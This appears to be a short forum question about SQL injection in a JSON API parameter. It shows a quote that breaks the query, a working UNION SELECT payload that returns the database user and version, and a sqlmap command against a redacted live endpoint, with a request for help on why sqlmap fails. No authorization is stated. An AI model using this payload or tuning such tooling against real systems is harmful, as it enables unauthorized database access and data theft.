This is post data, normally looks like this
{"end_date":"2018-8-26","start_date":"2018-8-26","success":1}
Below resulting "You have an error ..."
{"end_date":"2018-8-26'","start_date":"2018-8-26","success":1}
Below successfully print db version and user version
{"end_date":"00:00:00') union select 1,user(),version();--+","start_date":"","success":1}
What I've done so far is
python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --sql-query="00:00:00') union select 1,user(),version();--+" -v 3
But Sqlmap still failed, where I'm doing wrong?
Thanks in advance.